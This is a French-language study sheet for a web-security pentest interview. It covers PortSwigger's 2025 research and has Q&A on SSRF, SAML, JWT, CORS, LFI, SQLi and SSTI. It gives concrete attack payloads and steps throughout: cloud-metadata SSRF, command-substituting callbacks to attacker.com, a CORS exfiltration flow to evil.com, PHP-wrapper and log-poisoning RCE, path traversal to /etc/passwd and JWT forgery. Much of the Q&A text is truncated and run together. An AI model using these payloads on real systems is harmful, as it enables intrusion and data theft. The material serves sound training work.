# Le problème du SSRF blind : pas de réponse visible # La technique : créer une boucle de redirection qui cause un comportement observable # Serveur attaquant → redirige en boucle vers lui-même http://attacker.com/redirect → 301 → http://attacker.com/redirect (loop) # Le serveur vulnérable suit les redirections jusqu'à un timeout # → délai observable dans la réponse = confirmation SSRF (time-based) # → les logs du serveur attaquant révèlent les headers internes, IP source, etc. # Très utile pour transformer "potentiellement vulnérable" en "confirmé exploitable"
Side-Channels & XS-Leaks (tendance 2025)
Selon James Kettle : "2025 saw the rise of side-channels as a core exploitation primitive." Deux techniques dans le top 10 :
#8 — XSS-Leak: Cross-Origin Redirect Leak
Utilise l'algorithme de priorisation du connection-pool de Chrome comme oracle pour deviner le hostname de destination d'une redirection cross-domain, sans lire la réponse.
Impact : info disclosure cross-origin sans XSS
#6 — Cross-Site ETag Length Leak
Exploite les headers ETag pour révéler la taille de la réponse cross-domain. Découvert comme solution non prévue d'un CTF. Chaîne de plusieurs edge-cases pour un impact plus large.
#4 — Lost in Translation : Unicode Normalization Attacks
Chercheurs : Ryan & Isabella Barnett — Source : Black Hat / ActiveScan++
Exploitation des normalisations Unicode pour bypasser des contrôles d'accès, des filtres et des WAFs. Un caractère Unicode peut être normalisé en une séquence ASCII avec des implications de sécurité.
# Exemples de normalisations dangereuses ℌ → H (U+210C Fraktur H → ASCII H) ﹤ → < (U+FE64 small less-than → ASCII <, bypass filtre XSS) ① → 1 (U+2460 circled digit one) ADMINadmin → après NFKC normalisation → devient "ADMINadmin" # Bypass access control : /ADMIN → normalisé → /ADMIN # Si le check est fait avant la normalisation mais le routing après # → accès à des endpoints protégés # Bypass SQLi filter : UNIONuni → UNION après normalisation # Intégré dans ActiveScan++ pour Burp
#7 — Next.js Internal Cache Poisoning
Chercheur : Rachid Allam (zhero) — Source : zhero-web-sec.github.io
Vulnérabilité critique dans le cœur de Next.js — cache interne poisonnable. Différent du web cache poisoning classique (CDN/proxy) car il s'agit du cache applicatif interne du framework. Montre l'importance d'analyser le code source des frameworks populaires.
The Fragile Lock — Novel SAML Authentication Bypasses (Déc. 2025)
Chercheur : Zakhar Fedotkin (PortSwigger) — Source : portswigger.net/research/the-fragile-lock
Bypasses complets d'authentification SAML dans les écosystèmes Ruby et PHP via des incohérences de parsers XML. Affecte GitLab EE ≤ 17.8.4 et d'autres.
# SAML = XML signé → sécurité dépend de la validation de signature XML # Problème : validation et parsing faits par 2 parsers différents (REXML + Nokogiri) ## Techniques exploitées : 1. Attribute Pollution : ID="attack" samlp:ID="real" → chaque parser lit un attribut différent 2. Namespace Confusion : xml:xmlns redéfini → cache l'élément Signature à un parser 3. Void Canonicalization (NOUVEAU) : URI relative xmlns:ns="1" cause une erreur de canonicalization dans Nokogiri → retourne string vide → DigestValue = hash("") → attaquant peut forger n'importe quelle assertion avec signature valide # "Golden SAML Response" : réponse qui passe TOUJOURS la validation # peu importe les claims forgés → account takeover complet # Fix : une seule implémentation XML, strict schema sans extensions, ne jamais faire confiance à l'email domain seul pour l'access control
#10 — Parser Differentials
Concept transversal : quand deux composants (proxy/backend, validation/parser, etc.) interprètent la même donnée différemment → surface d'attaque. S'applique à XML, URL, HTTP, JSON, MIME types. Le SAML Fragile Lock en est un exemple parfait.
# Exemples de parser differentials exploités en 2025 URL parsing : urllib vs requests → host différent dans la même URL HTTP parsing : Content-Length vs Transfer-Encoding → Request Smuggling XML parsing : REXML vs Nokogiri → SAML bypass JSON parsing : trailing comma acceptée par un parser, rejetée par l'autre Email parsing: "user"@domain → splitting the email atom (Gareth Heyes 2024)
Ressources PortSwigger à connaître
| Chercheur | Handle | Spécialité |
|---|---|---|
| James Kettle | @albinowax | HTTP Smuggling, Cache Poisoning, SSRF, Web Cache Deception |
| Gareth Heyes | @garethheyes | XSS, CSP bypass, SAML, JS gadgets, Template Injection |
| Zakhar Fedotkin | @zakfedotkin | SAML, XML Security, Parser Differentials |
Questions Techniques — Entraînement
PRATIQUEWWW-Authenticate indiquant comment s'authentifier. 403 Forbidden signifie que le client est identifié (ou même authentifié) mais n'a pas les permissions pour accéder à la ressource. En pentest : un 403 peut être bypassé via des techniques comme la modification de méthodes HTTP, des headers X-Original-URL, ou des variations de path case. Un 401 nécessite de trouver ou bruteforcer des credentials.169.254.169.254 renvoie les métadonnées de l'instance, y compris les credentials IAM temporaires. En SSRF, l'attaquant force le serveur à requêter cette URL et récupère les clés d'accès AWS via la réponse. IMDSv2 requiert d'abord un PUT pour obtenir un token (TTL court), puis inclure ce token dans un header custom. Cela empêche le SSRF simple car les requêtes SSRF classiques ne font qu'un GET (pas de PUT préalable). Bypass partiel : si l'application permet des requêtes arbitraires avec headers custom, IMDSv2 peut être contourné.Content-Length pour définir la fin de la requête, le back-end utilise Transfer-Encoding: chunked. L'attaquant envoie les deux headers. Le front-end voit CL et transmet tout. Le back-end voit TE, lit jusqu'au chunk "0" (fin), et considère le reste ("SMUGGLED") comme le début d'une nouvelle requête. Ce "début" sera préfixé à la prochaine requête d'un autre utilisateur, permettant de modifier sa requête, capturer ses données, ou bypass des contrôles d'accès.http://$(whoami).attacker.com ou via des délais (time-based blind SSRF). Puis mapper le réseau interne en probing des IPs/ports privés et observer les différences de timing ou codes d'erreur.alg: HS256 et le payload modifié (ex: isAdmin: true). 3) Signe le JWT en HMAC-SHA256 en utilisant la clé publique RSA comme secret. 4) Le serveur, voyant HS256, prend sa clé "secrète" — qui est en réalité sa clé publique — et valide correctement. C'est une confusion algorithme : l'attaquant utilise une donnée publique connue comme secret HMAC. Fix : hardcoder l'algorithme attendu côté serveur, ne pas faire confiance à l'header alg du token.UNION SELECT pour ajouter une ligne avec les données voulues dans le jeu de résultats. Nécessite de connaître le nombre de colonnes et leurs types. Usage : quand on voit les données de la DB dans la page (liste d'articles, profil utilisateur, etc.). Time-based blind : aucune donnée visible dans la réponse. On infère les informations bit par bit en mesurant le délai de réponse (SLEEP, WAITFOR). Ex : si le premier caractère du password est 'a', attends 5s → si délai observable, 'a' est correct. Usage : quand l'application n'affiche rien mais est vulnérable (erreurs cachées, réponse binaire ok/ko). Beaucoup plus lent, utilisé en dernier recours.{{7*7}} — si la page affiche 49, c'est probablement Jinja2 ou Twig. Puis {{7*'7'}} : Jinja2 affiche 7777777 (répétition Python), Twig affiche 49 (conversion numérique PHP). ${7*7} → FreeMarker ou Velocity. <%=7*7%> → ERB (Ruby). Une fois le moteur identifié, on cherche les gadgets d'exécution de code spécifiques au langage. Jinja2 permet de traverser la hiérarchie de classes Python pour atteindre subprocess ou os.Origin dans Access-Control-Allow-Origin et répond Access-Control-Allow-Credentials: true, n'importe quel site peut faire des requêtes authentifiées cross-origin et lire les réponses. Attaque : 1) La victime est connectée à bank.com. 2) L'attaquant l'attire sur evil.com. 3) JavaScript sur evil.com fait fetch('https://bank.com/api/account', {credentials:'include'}). 4) Le navigateur envoie les cookies de session de la victime. 5) Le serveur répond avec les données sensibles ET autorise evil.com à les lire. 6) evil.com exfiltre les données vers l'attaquant. Fix : whitelist stricte des origines, ne jamais refléter l'Origin dynamiquement sans validation.php://filter : lecture de fichiers en base64 (utile pour lire le source PHP). php://input : si allow_url_include=On, peut inclure du code PHP depuis le POST body → RCE. data://text/plain;base64,... : injection directe de code PHP encodé → RCE (si allow_url_include=On). zip:// et phar:// : permettre d'inclure du PHP depuis une archive uploadée → RCE si on peut uploader. expect:// : extension rare, exécute des commandes directement. RCE direct sans allow_url_include : log poisoning (injecter du PHP dans les logs Apache/Nginx, puis include le fichier de log), session poisoning (PHP dans User-Agent, include /tmp/sess_xxxx), /proc/self/environ si lisible.0177.0.0.1 (octal), 0x7f000001 (hex), 2130706433 (decimal entier), 127.1 (notation courte). IPv6 : ::1 ou [::ffff:127.0.0.1]. DNS wildcard : 127.0.0.1.nip.io (résout en 127.0.0.1), services comme nip.io, xip.io. Open redirect : utiliser une URL autorisée qui redirige vers 127.0.0.1. DNS rebinding : domaine qui résout d'abord une IP publique (passe la validation) puis 127.0.0.1 lors de la vraie requête. Encodage URL : http://localhost%09@evil.com, ambiguïtés de parsing. Cas réel du CTF (facts.htb) : ces techniques s'appliquent exactement au bypass de filtres SSRF sur le Media>Import URL.name, email, isAdmin et que l'endpoint PUT /users/me bind tous les paramètres JSON, un attaquant peut envoyer {"name":"x","isAdmin":true} pour s'octroyer les droits admin. Exemples : Ruby on Rails (attr_accessible), Laravel (fillable/guarded), Spring MVC. En pentest : chercher des champs supplémentaires dans les réponses API (documentation Swagger, source JS) et les inclure dans les requêtes de modification. Tester avec role, isAdmin, is_staff, verified, balance, discount.X-Forwarded-Host (reflété dans des liens/scripts), X-Forwarded-Scheme, X-Original-URL, paramètres de query non utilisés par l'app mais acceptés, headers de locale/langue, Vary non implémenté. Impact : livraison de JS malveillant à tous les visiteurs (XSS persistant via cache), redirection vers site attaquant, manipulation de contenu statique. Détection : Param Miner (extension Burp) pour découvrir les unkeyed inputs.code vers la redirect_uri. Si cette URI n'est validée qu'avec une correspondance de préfixe ou regex faible, l'attaquant peut rediriger le code vers son serveur. Validations insuffisantes : vérifier seulement le domaine de base (bypass : trusted.com.evil.com), regex avec anchoring manquant (trusted.com matche trusted.com.evil.com), vérification qui autorise les sous-répertoires sans whitelist complète. Attaque : 1) Créer un lien OAuth avec redirect_uri=https://trusted.com/redirect?next=https://evil.com. 2) Si trusted.com a un open redirect, le code est leaké via Referer ou directement transmis. 3) Échanger le code contre un access_token. Fix : correspondance exacte de la redirect_uri contre une whitelist, pas de regex.readObject()). Identification : chercher dans le trafic des valeurs commençant par rO0AB (base64 de AC ED 00 05), présence dans cookies, paramètres POST, headers. Chercher des Content-Type application/x-java-serialized-object. Exploitation : ysoserial génère des payloads pour des gadget chains connues (CommonsCollections, Spring, etc.). Détection : Burp extension "Java Deserialization Scanner". Fix : ne jamais désérialiser des données non fiables, utiliser des lookups de classes blanches (allowlist), signer les données sérialisées.?email[contains]=admin, un attaquant peut extraire progressivement toutes les données via des filtres successifs (startsWith, endsWith, gt, lt). C'est analogue aux XS-Leaks mais côté serveur. Impact : dump complet de colonnes sensibles (salaires, emails, mots de passe hashés) sans écrire une seule ligne de SQL. Particularité : passe souvent les WAFs car les requêtes sont syntaxiquement correctes. Défense : whitelist stricte des opérateurs de filtrage autorisés, ne pas exposer tous les champs filtrables.ID="attack" samlp:ID="real" — chaque parser lit un attribut différent selon l'ordre et la gestion des namespaces, permettant de faire signer un élément mais en faire valider un autre. Void Canonicalization (nouvelle technique) : en ajoutant xmlns:ns="1" (URI relative invalide), la canonicalization de Nokogiri échoue et retourne une string vide au lieu de bloquer. Le DigestValue calculé sur une string vide est prévisible (SHA-256 d'une string vide = valeur connue). L'attaquant peut alors forger une assertion complète qui passe toujours la validation. Résultat : une "Golden SAML Response" qui permet l'account takeover de n'importe quel utilisateur, y compris les admins. Fix : mettre à jour vers ruby-saml ≥ 1.18.0.Scénarios Pratiques
ENTRETIEN AVANCÉ../../../etc/passwd, ....//etc/passwd, encodages URL. 2. LFI : si PHP, tenter des wrappers
php://filter/convert.base64-encode/resource=index.php. 3. SSRF : si le paramètre est une URL complète ou peut l'être, tenter
http://localhost/, file:///etc/passwd. 4. Information disclosure : tester des chemins connus selon le stack (config.php, .env, web.config, application.properties).
5. Wildcard : tenter
*, %00 (null byte truncation ancienne vulnérabilité PHP). 6. Bypass d'extension : si seul .pdf est accepté —
../../../etc/passwd%00.pdf, ../etc/passwd.pdf si la validation est naive. Réponse idéale : structurer la démarche, mentionner les encodages, les wrappers PHP, et les impacts possibles de chaque vulnérabilité.
IDOR dans toutes les méthodes : tester GET, PUT, DELETE, PATCH avec l'ID modifié.
GUIDs : si UUID, chercher où l'UUID d'un autre user est exposé (logs, référence dans d'autres réponses, Wayback Machine).
Vertical escalation : ajouter
isAdmin: true, role: "admin" dans les requêtes PUT/PATCH (mass assignment). Accès cross-token : créer 2 comptes, utiliser le token de l'un pour accéder aux ressources de l'autre.
Référence indirecte : chercher d'autres paramètres qui référencent des objets (orderId, documentId, accountId dans les autres endpoints).
Méthode non autorisée : si GET /admin est 403, tester POST /admin, TRACE /admin, X-HTTP-Method-Override: GET.
<b>test</b> → si bold s'affiche, le HTML passe. 2) Tenter <script>alert(1)</script>. 3) Si filtré, observer ce qui est encodé/supprimé pour contourner. 4) Analyser le contexte : dans un attribut HTML ? Dans du JS ? Adapter le payload. 5) Tester les variantes : event handlers, SVG, iframe. 6) CSP présente ? Chercher des bypasses. SQLi — étapes : 1) Injecter
' → erreur DB visible ? 2) Tenter ' OR 1=1--. 3) Si pas d'erreur, blind : ' AND SLEEP(5)--. 4) Déterminer le type de DB (version(), @@version). 5) Compter les colonnes (ORDER BY). 6) UNION SELECT pour extraction. Méthode pro : toujours observer d'abord le comportement normal, puis systématiquement caractères spéciaux, puis payloads complets.
2. Algorithm None : changer
alg en none/None/NONE, supprimer la signature. 3. Algorithm Confusion RS256→HS256 : si alg=RS256, récupérer la clé publique et forger en HS256.
4. Brute force secret HS256 : hashcat avec wordlists si le secret est faible.
5. Kid injection : si
kid présent, tenter path traversal (../../dev/null), SQL injection. 6. jku/x5u : tenter de pointer vers un JWK externe contrôlé.
7. Embedded JWK : insérer sa propre clé publique dans le header.
8. Expiration : tester des tokens expirés (le serveur les rejette-t-il ?).
9. Audience/Issuer : le serveur valide-t-il ces claims ?
10. Réutilisation cross-service : un token d'un service fonctionne-t-il sur un autre ?
Checklist — Préparation Finale
À COCHERConcepts à maîtriser
- OWASP 2025 : A03 Supply Chain + A10 Exceptional Conditions
- HTTP (méthodes, headers, 401 vs 403)
- SOP, CORS, CSP, HSTS
- XSS : 3 types + sources/sinks DOM
- SQLi : types + différences DB
- SSRF : cibles cloud + bypasses IP + redirect loops
- JWT : toutes les attaques
- OAuth : flows + attaques redirect_uri
- HTTP Smuggling : CL.TE, TE.CL
- Cookie attributes : HttpOnly, SameSite, etc.
- SSTI : détection + error-based (PortSwigger #1 2025)
- Parser Differentials (XS-Leaks, SAML, HTTP)
- ORM Leaks + Unicode Normalization
Posture & soft skills
- Structurer sa réponse (STAR si nécessaire)
- Dire "je ne sais pas" plutôt que d'inventer
- Parler des contre-mesures après chaque vuln
- Mentionner des tools (Burp, ffuf, nuclei...)
- Référencer des ressources (PortSwigger Labs)
- Poser des questions pertinentes à la fin
- Relier les vulns à des CVEs réels si possible
- Montrer une curiosité et veille active
Questions à poser à ton tour
- Quelle est la stack technologique principale des apps que vous testez ?
- Est-ce que l'équipe travaille sur du red team ou plutôt du bug bounty / audit ?
- Quels outils custom avez-vous développé en interne ?
- Comment se déroule l'onboarding et la montée en compétences ?
- Quelle est la politique sur la recherche et la publication de CVEs ?